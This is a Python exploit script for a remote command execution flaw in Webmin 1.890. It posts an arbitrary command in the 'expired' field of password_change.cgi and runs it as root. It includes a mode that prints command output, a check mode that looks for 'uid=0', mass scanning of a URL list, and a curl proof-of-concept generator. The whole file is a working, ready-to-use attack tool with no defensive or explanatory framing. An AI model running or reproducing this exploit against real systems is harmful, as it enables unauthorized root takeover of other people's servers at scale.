#!/usr/bin/env python

import requests
import argparse
from re import search

requests.packages.urllib3.disable_warnings()
parser = argparse.ArgumentParser(description='RCE in Webmin 1.890 with root privilege.')
group = parser.add_mutually_exclusive_group()
group.add_argument('-u','--url',help='URL of the domain to exploit, for example: http(s)://127.0.0.1:10000/')
group.add_argument('-l','--list',help='file contains list of URL')
parser.add_argument('-c','--command',help='command to execute, default is "id"',default='id')
parser.add_argument('-p','--poc',help='generate a PoC using curl',action='store_true')
args = parser.parse_args()

def exploit(url,command='id'):
	headers={"Content-Type":"application/x-www-form-urlencoded"}
	headers.update({"Referer":url})
	try:
		r=requests.post(url+'password_change.cgi',headers=headers,data='expired='+command,verify=False,timeout=10)
		#command mode
		if args.command!='id':
			print search(r'Your password has expired, and a new one must be chosen\.((.|\n)+)\n<\/p>',r.content).group(1)
		#check mode
		elif 'uid=0' in r.content:
			print url
	except:
		pass

if args.url:
	if args.url[-1]!='/':
		args.url+='/'
	#generate PoC using curl
	if args.poc:
		poc='curl {}password_change.cgi -X POST -H "Content-Type: application/x-www-form-urlencoded" -H "Referer: {}" -k -d "expired=id"'\
		.format(args.url,args.url)
		print poc
		exit(0)
	#exploit
	exploit(args.url,args.command)
elif args.list:
	f=open(args.list,'rb')
	for i in f:
		exploit(i.replace('\n',''))
	f.close()